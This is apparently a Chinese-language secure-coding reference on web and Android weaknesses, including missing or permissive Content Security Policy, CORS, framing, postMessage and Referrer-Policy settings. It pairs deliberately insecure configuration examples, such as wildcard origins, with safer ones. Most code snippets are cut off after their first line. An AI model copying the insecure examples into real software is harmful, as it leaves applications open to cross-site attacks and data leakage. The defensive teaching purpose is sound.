[18] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
HTML5: Missing Content Security Policy
ABSTRACT
未配置内容安全策略 (CSP)。
EXPLANATION
内容安全策略 (CSP) 是声明性安全标头,允许开发人员规定站点可从哪些域中加载内容,或呈现在 Web 浏览器中时向哪些域发起连接。它提供额外的安全层以避免重大漏洞,如 Cross-Site Scripting、Clickjacking、Cross-origin Access 等,此外还有输入验证以及代码中的白名单。
默认情况下,Spring Security 和其他框架不会添加内容安全策略标头。Web 应用程序作者必须声明一或多项安全策略,以针对受保护资源强制实施或监控,从而从额外的安全层获益。
RECOMMENDATIONS
配置内容安全策略以缓解可能的注入漏洞。
示例:以下代码在受 Spring Security 保护的应用程序中设置内容安全策略:
1 | <http auto-config="true" request-matcher="regex"> |
内容安全策略并不用于解决所有内容注入漏洞,而是利用 CSP 来减少由内容注入攻击造成的损害。应定期执行防范编码实践,例如输入验证和输出编码。
REFERENCES
[1] OWASP Content Security Policy
[2] W3C Content Security Policy 1.1
[3] Standards Mapping - Common Weakness Enumeration CWE ID 1173
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [3] CWE ID 020
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[6] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.3 Input Validation Requirements, 5.1.4 Input Validation Requirements
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[10] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
HTML5: Missing Framing Protection
ABSTRACT
应用程序不会限制浏览器从第三方站点呈现其内容。
EXPLANATION
允许将您的网站添加到框架会引发安全问题。例如,这可能引发 Clickjacking 漏洞或允许异常的跨框架通信。
默认情况下,Spring Security 等框架将 X-Frame-Options 标头包含在内,从而指示浏览器是否应对应用程序进行组帧。禁用或不设置此标头会引发与跨框架相关的漏洞。
示例 1:以下代码配置了受 Spring Security 保护的应用程序,以禁用 X-Frame-Options 标头:
1 | <http auto-config="true"> |
RECOMMENDATIONS
将 X-Frame-Options 标头设置为额外的保护层。若从不需要对应用程序进行组帧,请将其值设置为 DENY;若需要由同源的其他应用程序或页面进行组帧,请将其值设置为 SAMEORIGIN。
默认情况下,Spring Security 会禁用 iframe 中的呈现。可自定义 X-Frame-Options 标头来满足应用程序的需求。
示例 2:以下代码将受 Spring Security 保护的应用程序配置为使用 SAMEORIGIN 策略:
1 | <http auto-config="true"> |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 1021
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[3] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[5] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.4.7 HTTP Security Headers Requirements
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
HTML5: Overly Permissive Content Security Policy
ABSTRACT
内容安全策略 (CSP) 配置了过于宽松的策略,可能造成安全风险。
EXPLANATION
内容安全策略 (CSP) 是声明性安全标头,使开发人员可以在浏览器中指定允许的安全相关行为,包括可从中检索内容的位置白名单。它提供额外的安全层以避免重大漏洞,如 Cross-Site Scripting、Clickjacking、Cross-origin Access 等,此外还有输入验证以及代码中的白名单。但配置不恰当的标头无法提供此额外的安全层。该策略是在 15 条指令的帮助下定义的,包括 8 条控制资源访问的指令:script-src、img-data-src、object-src、style_src、font-src、media-src、frame-src、connect-src。这 8 条指令将源列表作为值,该值指定站点可访问的域,以使用该指令涵盖的功能。开发人员可使用通配符 * 表示所有或部分数据源。其他源列表关键字(例如 ‘unsafe-inline’ 和 ‘unsafe-eval’)提供了对脚本执行的更精细控制,但可能有害。所有的指令都不是强制性的。浏览器允许对未列出的指令使用所有的数据源,或者允许从可选 default-src 指令中衍生其值。此外,此标头的规范也在不断发展。在 Firefox V23 和 IE V10 以前,它作为 X-Content-Security-Policy 实现,在 Chrome V25 以前,作为 X-Webkit-CSP 实现。这两个名称现在均已弃用,目前使用的标准名称为 Content Security Policy。鉴于指令数、两个弃用的备用名称以及在单个标头中相同标头和重复指令多次出现的处理方式,开发人员很有可能会错误地配置此标头。
示例 1:以下代码设置了过度宽松且不安全的 default-src 指令:
1 | <http auto-config="true"> |
RECOMMENDATIONS
对于 CSP 源列表值,请使用受信任域的显式列表,而不要使用常规通配符 *。另外,避免使用任何允许潜在不安全脚本行为的指令,例如 ‘unsafe-inline’ 或 ‘unsafe-eval’。
示例 2:以下 Spring Security 应用程序会针对 default-src 指令设置特定域:
<http auto-config="true">
...
<headers>
...
<content-security-policy policy-directives="default-src https://content.cdn.example.com" />
</headers>
</http>
REFERENCES
[1] OWASP Content Security Policy
[2] W3C Content Security Policy 1.1
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[4] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[6] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[7] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[16] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
HTML5: Overly Permissive Message Posting Policy
ABSTRACT
程序发布了目标源过于宽松的跨文档消息。
EXPLANATION
HTML5 的一项新功能是跨文档消息传递。该功能允许脚本将消息发布到其他窗口。用户利用相应的 API 可指定目标窗口的源。不过,指定目标源时应小心谨慎,因为如果目标源过于宽松,恶意脚本就能趁机采用不当方式与受害者窗口进行通信,从而导致发生欺骗、数据被盗、转发及其他攻击。
示例 1:以下示例会使用通配符以编程方式指定要发送的消息的目标源。
1 | WebMessage message = new WebMessage(WEBVIEW_MESSAGE); |
使用 * 作为目标源的值表示无论源如何,脚本都会将消息发送到窗口。RECOMMENDATIONS
请不要将 * 作为目标源的值, 而是提供一个特定的目标源。
示例 2:以下代码会为目标源提供一个特定值。
1 | WebMessage message = new WebMessage(WEBVIEW_MESSAGE); |
REFERENCES
[1] Michael Schmidt HTML5 Web Security
[2] Philippe De Ryck, Lieven Desmet, Pieter Philippaerts, and Frank Piessens A Security Analysis of Next Generation Web Standards
[3] Standards Mapping - Common Weakness Enumeration CWE ID 942
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[5] Standards Mapping - General Data Protection Regulation Access Violation
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[7] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.4.6 HTTP Security Headers Requirements, 14.5.3 Validate HTTP Request Header Requirements
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
HTML5: Overly Permissive CORS Policy
ABSTRACT
程序会定义过于宽松的跨源资源共享 (CORS) 策略。
EXPLANATION
在 HTML5 以前的版本中,Web 浏览器必须执行同源策略 (Same Origin Policy),以确保使用 JavaScript 来访问某个网页内容时,JavaScript 和网页都来源于相同的域。若不采取同源策略 (Same Origin Policy),恶意网站便可以使用客户端凭证来运行 JavaScript,从其他网站加载的敏感信息,并对这些信息进行提炼,然后将其返回给攻击者。如果定义了名为 Access-Control-Allow-Origin 的新 HTTP 头文件,HTML5 就支持使用 JavaScript 跨域访问数据。通过这个头文件,Web 服务器可定义允许使用跨源请求访问服务器域的其他域。不过,定义头文件时应小心谨慎,如果 CORS 策略过于宽松,恶意应用程序就能趁机采用不正当方式与受攻击的应用程序进行通信,从而导致发生欺骗、数据被盗、转发及其他攻击。
示例 1:在以下示例中,使用通配符以编程方式指定允许应用程序与其通信的域。
1 | <websocket:handlers allowed-origins="*"> |
将 * 作为 Access-Control-Allow-Origin 头文件的值表明,该应用程序的数据可供在任何域上运行的 JavaScript 访问。
RECOMMENDATIONS
请不要使用 * 作为 Access-Control-Allow-Origin 头文件的值。而应该提供可信赖的域的显式列表。
示例 2:下面的 Access-Control-Allow-Origin 头文件指定了一个显示可信赖的域。
1 | <websocket:handlers allowed-origins="www.trusted.com"> |
REFERENCES
[1] W3C Cross-Origin Resource Sharing
[2] Enable Cross-Origin Resource Sharing
[3] Michael Schmidt HTML5 Web Security
[4] Philippe De Ryck, Lieven Desmet, Pieter Philippaerts, and Frank Piessens A Security Analysis of Next Generation Web Standards
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[7] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[16] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
HTML5: Overly Permissive Referrer-Policy
ABSTRACT
将 Referrer-Policy 标头设置为 Unsafe-URL 可能会导致应用程序向第三方站点暴露敏感站点和用户数据(包括会话标记、用户名和密码)。
EXPLANATION
默认情况下,浏览器不会将包含来自 HTTPS 之请求的引用标头发送到未加密的 HTTP 链接。然而,请求目标若也为 HTTPS,无论来源如何,都将发送标头。开发人员可能会将敏感信息留在 URL 中,这些敏感信息会通过引用标头向第三方站点暴露。Referrer-Policy 标头会被引入,以控制与引用标头相关的浏览器行为。Unsafe-URL 选项会删除所有限制,并随每一个请求发送引用标头。
示例:以下代码配置了受 Spring Security 保护的应用程序,以禁用默认的安全引用策略:
1 | <http auto-config="true"> |
RECOMMENDATIONS
安全的做法是采用 same-origin 策略,这样可限制只有包含请求的引用标头才可发送到同源目标。Spring Security 等部分框架将此策略用作默认策略。在这些框架中,确保不更改安全默认值。
REFERENCES
[1] Referrer-Policy
[2] OWASP OWASP List of useful HTTP headers
[3] Standards Mapping - Common Weakness Enumeration CWE ID 942
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002418, CCI-002420, CCI-002421, CCI-002422
[5] Standards Mapping - FIPS200 CM
[6] Standards Mapping - General Data Protection Regulation Access Violation
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.4.6 HTTP Security Headers Requirements, 14.5.3 Validate HTTP Request Header Requirements
[9] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[10] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[11] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[22] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
HTML5: Unenforced Content Security Policy
ABSTRACT
内容安全策略 (CSP) 在监控模式下完成配置,因而浏览器不会强制实施。
EXPLANATION
内容安全策略 (CSP) 是声明性安全标头,允许开发人员规定站点可从哪些域中加载内容,或呈现在 Web 浏览器中时向哪些域发起连接。它提供额外的安全层以避免重大漏洞,如 Cross-Site Scripting、Clickjacking、Cross-origin Access 等,此外还有输入验证以及代码中的白名单。
Content-Security-Policy-Report-Only 标头可以让 Web 应用程序作者和管理员监控而不是强制实施安全策略。此标头通常用于试验和/或开发站点安全策略。假若策略有效,则可以转而使用 Content-Security-Policy 标头字段强制实施该策略。
示例 1:以下代码在 Report-Only 模式下设置内容安全策略:
1 | <http auto-config="true"> |
RECOMMENDATIONS
配置并强制实施内容安全策略以缓解注入漏洞。
示例 2:以下代码在受 Spring Security 保护的应用程序中设置内容安全策略:
1 | <http auto-config="true"> |
内容安全策略并不用于解决所有内容注入漏洞,而是利用 CSP 来减少由内容注入攻击造成的损害。应定期执行防范编码实践,例如输入验证和输出编码。
REFERENCES
[1] OWASP Content Security Policy
[2] W3C Content Security Policy 1.1
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[4] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Hidden Field
ABSTRACT
该程序创建了一个隐藏的表单字段。
EXPLANATION
程序员通常信任隐藏字段的内容,认为用户不会查看它们或操作其内容。攻击者则会推翻这些假设。他们将检查写入隐藏字段的值,更改它们,或使用攻击数据替换这些内容。
示例:
Hidden hidden = new Hidden(element);
如果隐藏字段包含敏感信息,那么就会像捕捉该页面的其余部分一样捕捉这些信息。这会导致敏感信息在用户不知情的情况下在浏览器缓存中被隐藏起来。
RECOMMENDATIONS
注意攻击者将研究应用程序中使用的所有隐藏字段并对其进行解码。将隐藏字段视为不可信赖的输入。如果信息不能和页面其余部分一起缓存,不要在隐藏字段中存储这些信息。
REFERENCES
[1] Input Validation and Representation Micro Focus Fortify
[2] IDS14-J. Do not trust the contents of hidden form fields CERT
[3] Standards Mapping - Common Weakness Enumeration CWE ID 472, CWE ID 642
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage
[5] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 642
[6] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3610 CAT I
[7] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3610 CAT I
[8] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3610 CAT I
[9] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3610 CAT I
[10] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3610 CAT I
[11] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3610 CAT I
[12] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3610 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002485 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002485 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002485 CAT I
[16] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[17] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Insecure Storage: Android Backup Storage
ABSTRACT
该程序利用 Android 的备份服务将永久性应用程序数据保存到一个远程云存储中。
EXPLANATION
Android 的备份服务可以使应用程序将永久性数据保存到一个远程云存储上,以便以后为应用程序数据提供一个恢复点。
通过将 allowBackup 属性设置为 true(默认值)并在 <application>
标签上定义 backupAgent 属性,可以为 Android 应用程序配置该备份服务。
但是,由于不同设备的云存储和传输方式不同,Android 并不保证您的数据在使用备份功能时的安全性。
RECOMMENDATIONS
如果您的应用程序包含敏感信息,请慎重使用备份功能存储敏感信息。此外,请谨记,由于 allowBackup 属性的默认值为 true,因此有必要明确将此属性设置为 false 以禁用备份。
REFERENCES
[1] JavaDoc for Android Android
